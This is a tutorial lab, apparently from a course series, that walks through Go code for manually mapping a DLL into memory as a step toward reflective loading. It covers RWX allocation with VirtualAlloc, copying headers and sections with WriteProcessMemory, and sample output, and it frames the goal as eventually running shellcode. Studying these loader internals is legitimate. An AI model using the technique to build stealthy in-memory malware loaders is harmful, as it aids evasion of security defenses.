Goal
Building upon our PE parser from Lab 2.2, we’ll now build out the core mapping process of reflective loading.
Specifically, we’ll give our application the ability to:
- Allocate executable memory using
VirtualAlloc
, attempting to use the DLL’s preferredImageBase
. - Copy the DLL’s headers from the file buffer into the beginning of the allocated memory.
- Copy each section’s raw data from the file buffer into its correct relative virtual address within the allocated memory. This exercise simulates the work the Windows loader does when mapping a DLL, but performed manually by our Go code.
We’ll use calc_dll.dll
as our target, and reuse much of the logic we created in our PE Header Parser. You can either start with a copy of your pe_parser.go
from Lab 2.1 or create a new file manual_mapper.go
. If you are starting with a new file ensure that you have the necessary PE struct definitions (IMAGE_DOS_HEADER
, IMAGE_FILE_HEADER
, IMAGE_OPTIONAL_HEADER64
, IMAGE_SECTION_HEADER
) and constants (IMAGE_DOS_SIGNATURE
, IMAGE_NT_SIGNATURE
) from Lab 2.2.
Code
//go:build windows
// +build windows
package main
import (
"bytes"
"encoding/binary"
"fmt"
"log"
"os"
"unsafe" // Needed for pointer conversions with syscall/windows
"golang.org/x/sys/windows"
)
// --- PE Structures (Ensure these are present from Lab 2.1) ---
type IMAGE_DOS_HEADER struct {
Magic uint16 // Magic number (MZ)
Cblp uint16 // Bytes on last page of file
Cp uint16 // Pages in file
Crlc uint16 // Relocations
Cparhdr uint16 // Size of header in paragraphs
MinAlloc uint16 // Minimum extra paragraphs needed
MaxAlloc uint16 // Maximum extra paragraphs needed
Ss uint16 // Initial (relative) SS value
Sp uint16 // Initial SP value
Csum uint16 // Checksum
Ip uint16 // Initial IP value
Cs uint16 // Initial (relative) CS value
Lfarlc uint16 // File address of relocation table
Ovno uint16 // Overlay number
Res [4]uint16 // Reserved words
Oemid uint16 // OEM identifier (for e_oeminfo)
Oeminfo uint16 // OEM information; e_oemid specific
Res2 [10]uint16 // Reserved words
Lfanew int32 // File address of new exe header (PE header offset)
}
type IMAGE_FILE_HEADER struct {
Machine uint16 // Architecture type
NumberOfSections uint16 // Number of sections
TimeDateStamp uint32 // Time and date stamp
PointerToSymbolTable uint32 // Pointer to symbol table
NumberOfSymbols uint32 // Number of symbols
SizeOfOptionalHeader uint16 // Size of optional header
Characteristics uint16 // File characteristics
}
type IMAGE_DATA_DIRECTORY struct {
VirtualAddress uint32 // RVA of the directory
Size uint32 // Size of the directory
}
// Note: This is the 64-bit version
type IMAGE_OPTIONAL_HEADER64 struct {
Magic uint16 // Magic number (0x20b for PE32+)
MajorLinkerVersion uint8
MinorLinkerVersion uint8
SizeOfCode uint32
SizeOfInitializedData uint32
SizeOfUninitializedData uint32
AddressOfEntryPoint uint32 // RVA of the entry point
BaseOfCode uint32
ImageBase uint64 // Preferred base address
SectionAlignment uint32
FileAlignment uint32
MajorOperatingSystemVersion uint16
MinorOperatingSystemVersion uint16
MajorImageVersion uint16
MinorImageVersion uint16
MajorSubsystemVersion uint16
MinorSubsystemVersion uint16
Win32VersionValue uint32
SizeOfImage uint32 // Total size of the image in memory
SizeOfHeaders uint32 // Size of headers (DOS + PE + Section Headers)
CheckSum uint32
Subsystem uint16
DllCharacteristics uint16
SizeOfStackReserve uint64
SizeOfStackCommit uint64
SizeOfHeapReserve uint64
SizeOfHeapCommit uint64
LoaderFlags uint32
NumberOfRvaAndSizes uint32
DataDirectory [16]IMAGE_DATA_DIRECTORY // Array of data directories
}
// Note: This is the 64-bit version
// We don't define IMAGE_NT_HEADERS64 directly as we read Signature, FileHeader,
// and OptionalHeader sequentially after seeking.
type IMAGE_SECTION_HEADER struct {
Name [8]byte // Section name (null-padded)
VirtualSize uint32 // Actual size used in memory
VirtualAddress uint32 // RVA of the section
SizeOfRawData uint32 // Size of section data on disk
PointerToRawData uint32 // File offset of section data
PointerToRelocations uint32 // File offset of relocations
PointerToLinenumbers uint32 // File offset of line numbers
NumberOfRelocations uint16 // Number of relocations
NumberOfLinenumbers uint16 // Number of line numbers
Characteristics uint32 // Section characteristics (flags like executable, readable, writable)
}
// --- Constants ---
const (
IMAGE_DOS_SIGNATURE = 0x5A4D // "MZ"
IMAGE_NT_SIGNATURE = 0x00004550 // "PE\0\0"
)
// Helper function to convert null-padded byte array to string
func sectionNameToString(nameBytes [8]byte) string {
n := bytes.IndexByte(nameBytes[:], 0)
if n == -1 {
n = 8
}
return string(nameBytes[:n])
}
func main() {
fmt.Println("[+] Starting Manual DLL Mapper...")
// --- Step 1: Read DLL and Parse Headers (similar to Lab 2.2) ---
if len(os.Args) < 2 {
log.Fatalf("[-] Usage: %s <path_to_dll>\n", os.Args[0])
}
dllPath := os.Args[1]
fmt.Printf("[+] Reading file: %s\n", dllPath)
dllBytes, err := os.ReadFile(dllPath)
if err != nil {
log.Fatalf("[-] Failed to read file '%s': %v\n", dllPath, err)
}
reader := bytes.NewReader(dllBytes)
var dosHeader IMAGE_DOS_HEADER
if err := binary.Read(reader, binary.LittleEndian, &dosHeader); err != nil {
log.Fatalf("[-] Failed to read DOS header: %v\n", err)
}
if dosHeader.Magic != IMAGE_DOS_SIGNATURE {
log.Fatalf("[-] Invalid DOS signature")
}
if _, err := reader.Seek(int64(dosHeader.Lfanew), 0); err != nil {
log.Fatalf("[-] Failed to seek to NT Headers: %v\n", err)
}
var peSignature uint32
if err := binary.Read(reader, binary.LittleEndian, &peSignature); err != nil {
log.Fatalf("[-] Failed to read PE signature: %v\n", err)
}
if peSignature != IMAGE_NT_SIGNATURE {
log.Fatalf("[-] Invalid PE signature")
}
var fileHeader IMAGE_FILE_HEADER
if err := binary.Read(reader, binary.LittleEndian, &fileHeader); err != nil {
log.Fatalf("[-] Failed to read File Header: %v\n", err)
}
var optionalHeader IMAGE_OPTIONAL_HEADER64 // Assuming 64-bit
if err := binary.Read(reader, binary.LittleEndian, &optionalHeader); err != nil {
log.Fatalf("[-] Failed to read Optional Header: %v\n", err)
}
if optionalHeader.Magic != 0x20b {
log.Printf("[!] Warning: Optional Header Magic is not PE32+ (0x20b).")
}
fmt.Println("[+] Parsed PE Headers successfully.")
fmt.Printf("[+] Target ImageBase: 0x%X\n", optionalHeader.ImageBase)
fmt.Printf("[+] Target SizeOfImage: 0x%X (%d bytes)\n", optionalHeader.SizeOfImage, optionalHeader.SizeOfImage)
// --- Step 2: Allocate Memory ---
fmt.Printf("[+] Allocating 0x%X bytes of memory...\n", optionalHeader.SizeOfImage)
allocSize := uintptr(optionalHeader.SizeOfImage)
preferredBase := uintptr(optionalHeader.ImageBase)
// Try allocating at the preferred base address first
allocBase, err := windows.VirtualAlloc(preferredBase, allocSize,
windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_EXECUTE_READWRITE)
if err != nil {
// If preferred base failed, let the OS choose the address (lpAddress = 0)
fmt.Printf("[*] Failed to allocate at preferred base 0x%X: %v. Trying arbitrary address...\n", preferredBase, err)
allocBase, err = windows.VirtualAlloc(0, allocSize,
windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_EXECUTE_READWRITE)
if err != nil {
log.Fatalf("[-] Failed to allocate memory at arbitrary address: %v\n", err)
}
}
fmt.Printf("[+] Memory allocated successfully at base address: 0x%X\n", allocBase)
// Ensure the allocated memory is freed when main exits
defer func() {
fmt.Printf("[+] Attempting to free allocated memory at 0x%X...\n", allocBase)
err := windows.VirtualFree(allocBase, 0, windows.MEM_RELEASE)
if err != nil {
log.Printf("[!] Warning: Failed to free allocated memory: %v\n", err)
} else {
fmt.Println("[+] Allocated memory freed successfully.")
}
}()
// --- Step 3: Copy Headers into Allocated Memory ---
fmt.Printf("[+] Copying PE headers (%d bytes) to allocated memory...\n", optionalHeader.SizeOfHeaders)
headerSize := uintptr(optionalHeader.SizeOfHeaders)
dllBytesPtr := uintptr(unsafe.Pointer(&dllBytes[0])) // Pointer to start of our DLL byte slice
// Use WriteProcessMemory for potentially safer copy, especially across protection boundaries (though not strictly needed here as we own the memory)
var bytesWritten uintptr
err = windows.WriteProcessMemory(windows.CurrentProcess(), allocBase, (*byte)(unsafe.Pointer(dllBytesPtr)), headerSize, &bytesWritten)
if err != nil || bytesWritten != headerSize {
log.Fatalf("[-] Failed to copy PE headers to allocated memory: %v (Bytes written: %d)", err, bytesWritten)
}
fmt.Printf("[+] Copied %d bytes of headers successfully.\n", bytesWritten)
// --- Step 4: Copy Sections into Allocated Memory ---
fmt.Println("[+] Copying sections...")
// Calculate offset to the first section header: after DOS header + NT signature + file header + optional header
// Alternatively, it's at dosHeader.Lfanew + 4 (PE Sig) + unsafe.Sizeof(fileHeader) + uintptr(fileHeader.SizeOfOptionalHeader)
// Or, more simply, the reader is already positioned correctly if we didn't seek after optional header read in the parser part
// For clarity, let's calculate it:
firstSectionHeaderOffset := int64(dosHeader.Lfanew) + 4 + int64(unsafe.Sizeof(fileHeader)) + int64(fileHeader.SizeOfOptionalHeader)
_, err = reader.Seek(firstSectionHeaderOffset, 0) // Position reader at the first section header
if err != nil {
log.Fatalf("[-] Failed to seek to first section header at offset 0x%X: %v\n", firstSectionHeaderOffset, err)
}
for i := uint16(0); i < fileHeader.NumberOfSections; i++ {
var sectionHeader IMAGE_SECTION_HEADER
// Read section header directly from the reader (positioned correctly)
err = binary.Read(reader, binary.LittleEndian, §ionHeader)
if err != nil {
log.Fatalf("[-] Failed to read Section Header %d: %v\n", i, err)
}
sectionName := sectionNameToString(sectionHeader.Name)
fmt.Printf(" [*] Processing Section %d: '%s'\n", i, sectionName)
// Skip sections with no raw data (like .bss)
if sectionHeader.SizeOfRawData == 0 {
fmt.Printf(" [*] Skipping section '%s' (SizeOfRawData is 0).\n", sectionName)
continue
}
// Calculate source address in the DLL byte slice
sourceAddr := dllBytesPtr + uintptr(sectionHeader.PointerToRawData)
// Calculate destination address in the allocated memory block
destAddr := allocBase + uintptr(sectionHeader.VirtualAddress)
// Size of data to copy for this section
sizeToCopy := uintptr(sectionHeader.SizeOfRawData)
fmt.Printf(" [*] Copying %d bytes from file offset 0x%X to VA 0x%X\n",
sizeToCopy, sectionHeader.PointerToRawData, destAddr)
// Copy the section data
err = windows.WriteProcessMemory(windows.CurrentProcess(), destAddr, (*byte)(unsafe.Pointer(sourceAddr)), sizeToCopy, &bytesWritten)
if err != nil || bytesWritten != sizeToCopy {
log.Fatalf(" [-] Failed to copy section '%s': %v (Bytes written: %d)", sectionName, err, bytesWritten)
}
fmt.Printf(" [+] Copied section '%s' successfully (%d bytes).\n", sectionName, bytesWritten)
}
fmt.Println("[+] All sections copied.")
// --- Step 5: Self-Check (Basic) ---
fmt.Println("[+] Manual mapping process complete (Headers and Sections copied).")
fmt.Println("[+] Self-Check Suggestion: Use a debugger (like Delve for Go or x64dbg for the process)")
fmt.Println(" to inspect the memory at the allocated base address (0x%X).", allocBase)
fmt.Println(" Verify that the 'MZ' and 'PE' signatures are present at the start")
fmt.Println(" and that data corresponding to sections appears at the correct RVAs.")
// OPTIONAL
// Keep the program alive briefly if needed for external debugging - UNCOMMENT BELOW IF DESIRED
// fmt.Println("Press Enter to exit and free memory...")
// fmt.Scanln()
fmt.Println("[+] Mapper finished.")
}
// Helper functions (machineTypeToString, magicTypeToString) should be included as in Lab 2.1
func machineTypeToString(machine uint16) string {
switch machine {
case 0x0:
return "Unknown"
case 0x14c:
return "x86 (I386)"
case 0x8664:
return "x64 (AMD64)"
case 0xaa64:
return "ARM64"
case 0x1c0:
return "ARM"
default:
return "Other"
}
}
func magicTypeToString(magic uint16) string {
switch magic {
case 0x10b:
return "PE32 (32-bit)"
case 0x20b:
return "PE32+ (64-bit)"
default:
return "Unknown/Invalid"
}
}
Code Breakdown
Note I am only explaining new logic that was not already discussed in our PE Parser, obvs if you wanted to understand all the code here you’d also need to refer back to it.
New Imports
unsafe
: This package is introduced because manual mapping requires direct memory manipulation that bypasses Go’s standard type safety. It’s specifically used here to obtain raw pointers (unsafe.Pointer
) to the beginning of thedllBytes
slice and to convert between Go pointers and theuintptr
type required by some Windows API functions.golang.org/x/sys/windows
: This package provides direct access to Windows API calls from Go. It’s essential for interacting with the Windows memory management system (VirtualAlloc
,VirtualFree
,WriteProcessMemory
) and for getting a handle to the current process (CurrentProcess
).
main
Function Logic
Step 1: Read DLL and Parse Headers
This step remains largely the same as in peparser.go
, extracting necessary information like optionalHeader.SizeOfImage
, optionalHeader.ImageBase
, optionalHeader.SizeOfHeaders
, and fileHeader.NumberOfSections
.
Step 2: Allocate Memory
The goal is to reserve a block of virtual memory within the current process large enough to hold the entire DLL image, as specified by optionalHeader.SizeOfImage
.
The program first attempts to allocate this memory at the DLL’s preferred base address, optionalHeader.ImageBase
. This is done using windows.VirtualAlloc
.
windows.VirtualAlloc
Parameters:lpAddress
: The desired starting address. Initially set touintptr(optionalHeader.ImageBase)
.dwSize
: The amount of memory to allocate,uintptr(optionalHeader.SizeOfImage)
.flAllocationType
: Flags specifying the type of allocation.windows.MEM_RESERVE | windows.MEM_COMMIT
reserves the virtual address space and allocates physical memory backing for it in one step.flProtect
: Memory protection constants.windows.PAGE_EXECUTE_READWRITE
marks the memory region as readable, writable, and executable – necessary for the mapped code and data but generally overly permissive for production scenarios (permissions should ideally be set per section).
If allocation at the preferred base fails (e.g., address space already in use), the code attempts windows.VirtualAlloc
again, but this time passes 0
as the lpAddress
. This tells the operating system to choose a suitable available address for the allocation.
The actual base address returned by the successful VirtualAlloc
call is stored in the allocBase
variable (type uintptr
).
A defer
statement is used with windows.VirtualFree
to ensure the allocated memory block is released back to the system when the main
function exits, preventing memory leaks. windows.MEM_RELEASE
is used to decommit and release the entire region.
Step 3: Copy Headers
The PE headers (DOS, NT, Section Headers) must be the first thing present in the newly allocated memory block, mimicking how the Windows loader would map them.
The total size of the headers is taken from optionalHeader.SizeOfHeaders
.
A raw pointer (uintptr
) to the start of the original DLL data (dllBytes[0]
) is obtained using unsafe.Pointer
. This is needed for the WriteProcessMemory
call.
windows.WriteProcessMemory
is used to copy the header data:
hProcess
: A handle to the target process.windows.CurrentProcess()
provides a pseudo-handle to the mapper’s own process.lpBaseAddress
: The destination address in the target process, which is ourallocBase
.lpBuffer
: The source address of the data to copy. This requires casting theuintptr
obtained fromdllBytes
back to a(*byte)(unsafe.Pointer(...))
representation.nSize
: The number of bytes to copy (headerSize
).lpNumberOfBytesWritten
: A pointer to a variable that receives the actual number of bytes successfully copied.
The number of bytes written is checked to ensure the entire header section was copied correctly.
Step 4: Copy Sections
This is the core mapping step where the actual code and data from the DLL file are placed into the allocated memory at their correct relative virtual addresses (RVAs).
The code calculates the file offset where the first IMAGE_SECTION_HEADER
begins (firstSectionHeaderOffset
) and uses reader.Seek
to position the bytes.Reader
there.
It then loops fileHeader.NumberOfSections
times. In each iteration:
- It reads the
IMAGE_SECTION_HEADER
struct for the current section from thereader
. - It checks if
sectionHeader.SizeOfRawData
is zero. Sections like.bss
(uninitialized data) often have aVirtualSize
but no raw data on disk, so they don’t need to be copied; the memory is already zeroed byVirtualAlloc
. - Source Address Calculation: The file offset of the section’s data (
sectionHeader.PointerToRawData
) is added to the base pointer of the DLL file data (dllBytesPtr
) to get thesourceAddr
in thedllBytes
slice. - Destination Address Calculation: The section’s intended RVA (
sectionHeader.VirtualAddress
) is added to the base address of our allocated memory block (allocBase
) to get the correctdestAddr
in the process’s virtual memory. - The number of bytes to copy is
sectionHeader.SizeOfRawData
. windows.WriteProcessMemory
is called again, this time copyingsizeToCopy
bytes fromsourceAddr
(indllBytes
) todestAddr
(in the allocated memory block).- Errors and the number of bytes written are checked for each section.
Instructions
- Compile the mapper
GOOS=windows GOARCH=amd64 go build
- Then copy it over to target system and invoke from command-line, providing as argument the dll you’d like to analyze, for example
".\man_mapper.exe .\calc_dll.dll"
Results
[+] Starting Manual DLL Mapper...
[+] Reading file: .\calc_dll.dll
[+] Parsed PE Headers successfully.
[+] Target ImageBase: 0x26A5B0000
[+] Target SizeOfImage: 0x22000 (139264 bytes)
[+] Allocating 0x22000 bytes of memory...
[+] Memory allocated successfully at base address: 0x26A5B0000
[+] Copying PE headers (1536 bytes) to allocated memory...
[+] Copied 1536 bytes of headers successfully.
[+] Copying sections...
[*] Processing Section 0: '.text'
[*] Copying 6144 bytes from file offset 0x600 to VA 0x26A5B1000
[+] Copied section '.text' successfully (6144 bytes).
[*] Processing Section 1: '.data'
[*] Copying 512 bytes from file offset 0x1E00 to VA 0x26A5B3000
[+] Copied section '.data' successfully (512 bytes).
[*] Processing Section 2: '.rdata'
[*] Copying 1536 bytes from file offset 0x2000 to VA 0x26A5B4000
[+] Copied section '.rdata' successfully (1536 bytes).
[*] Processing Section 3: '.pdata'
[*] Copying 1024 bytes from file offset 0x2600 to VA 0x26A5B5000
[+] Copied section '.pdata' successfully (1024 bytes).
[*] Processing Section 4: '.xdata'
[*] Copying 512 bytes from file offset 0x2A00 to VA 0x26A5B6000
[+] Copied section '.xdata' successfully (512 bytes).
[*] Processing Section 5: '.bss'
[*] Skipping section '.bss' (SizeOfRawData is 0).
[*] Processing Section 6: '.edata'
[*] Copying 512 bytes from file offset 0x2C00 to VA 0x26A5B8000
[+] Copied section '.edata' successfully (512 bytes).
[*] Processing Section 7: '.idata'
[*] Copying 2048 bytes from file offset 0x2E00 to VA 0x26A5B9000
[+] Copied section '.idata' successfully (2048 bytes).
[*] Processing Section 8: '.tls'
[*] Copying 512 bytes from file offset 0x3600 to VA 0x26A5BA000
[+] Copied section '.tls' successfully (512 bytes).
[*] Processing Section 9: '.reloc'
[*] Copying 512 bytes from file offset 0x3800 to VA 0x26A5BB000
[+] Copied section '.reloc' successfully (512 bytes).
[*] Processing Section 10: '/4'
[*] Copying 1024 bytes from file offset 0x3A00 to VA 0x26A5BC000
[+] Copied section '/4' successfully (1024 bytes).
[*] Processing Section 11: '/19'
[*] Copying 37888 bytes from file offset 0x3E00 to VA 0x26A5BD000
[+] Copied section '/19' successfully (37888 bytes).
[*] Processing Section 12: '/31'
[*] Copying 6656 bytes from file offset 0xD200 to VA 0x26A5C7000
[+] Copied section '/31' successfully (6656 bytes).
[*] Processing Section 13: '/45'
[*] Copying 6656 bytes from file offset 0xEC00 to VA 0x26A5C9000
[+] Copied section '/45' successfully (6656 bytes).
[*] Processing Section 14: '/57'
[*] Copying 2560 bytes from file offset 0x10600 to VA 0x26A5CB000
[+] Copied section '/57' successfully (2560 bytes).
[*] Processing Section 15: '/70'
[*] Copying 512 bytes from file offset 0x11000 to VA 0x26A5CC000
[+] Copied section '/70' successfully (512 bytes).
[*] Processing Section 16: '/81'
[*] Copying 6144 bytes from file offset 0x11200 to VA 0x26A5CD000
[+] Copied section '/81' successfully (6144 bytes).
[*] Processing Section 17: '/97'
[*] Copying 5120 bytes from file offset 0x12A00 to VA 0x26A5CF000
[+] Copied section '/97' successfully (5120 bytes).
[*] Processing Section 18: '/113'
[*] Copying 512 bytes from file offset 0x13E00 to VA 0x26A5D1000
[+] Copied section '/113' successfully (512 bytes).
[+] All sections copied.
[+] Manual mapping process complete (Headers and Sections copied).
[+] Self-Check Suggestion: Use a debugger (like Delve for Go or x64dbg for the process)
to inspect the memory at the allocated base address (0x%X). 10374283264
Verify that the 'MZ' and 'PE' signatures are present at the start
and that data corresponding to sections appears at the correct RVAs.
[+] Mapper finished.
[+] Attempting to free allocated memory at 0x26A5B0000...
[+] Allocated memory freed successfully.
Discussion
- Note that once again we found the same address for ImageBase as in Labs 2.1 and 2.2 -
0x26A5B0000
. - Based on SizeOfImage (
0x22000
) we then allocate that amount of memory. - In this case we were indeed able to allocate at the preferred address
0x26A5B0000
, meaning that no relocations would need to take place. - We then copy all the headers, and then iterate through each section, doing the same.
Conclusion
Great, we’ve covered considerable ground in these first three modules - we can now parse a PE file, manually allocate memory, and copy required sections into that memory. But, as mentioned, we’re not quite done ready to run shellcode yet.
In the next module we’re going to cover two important steps:
- First, in the case that are not able to allocate memory at our preferred base address, we need to perform relocations.
- Next, it’s more often than not the case that our DLL in turn uses function from other system DLLs, meaning we need to resolve those imports.
Let’s roll on.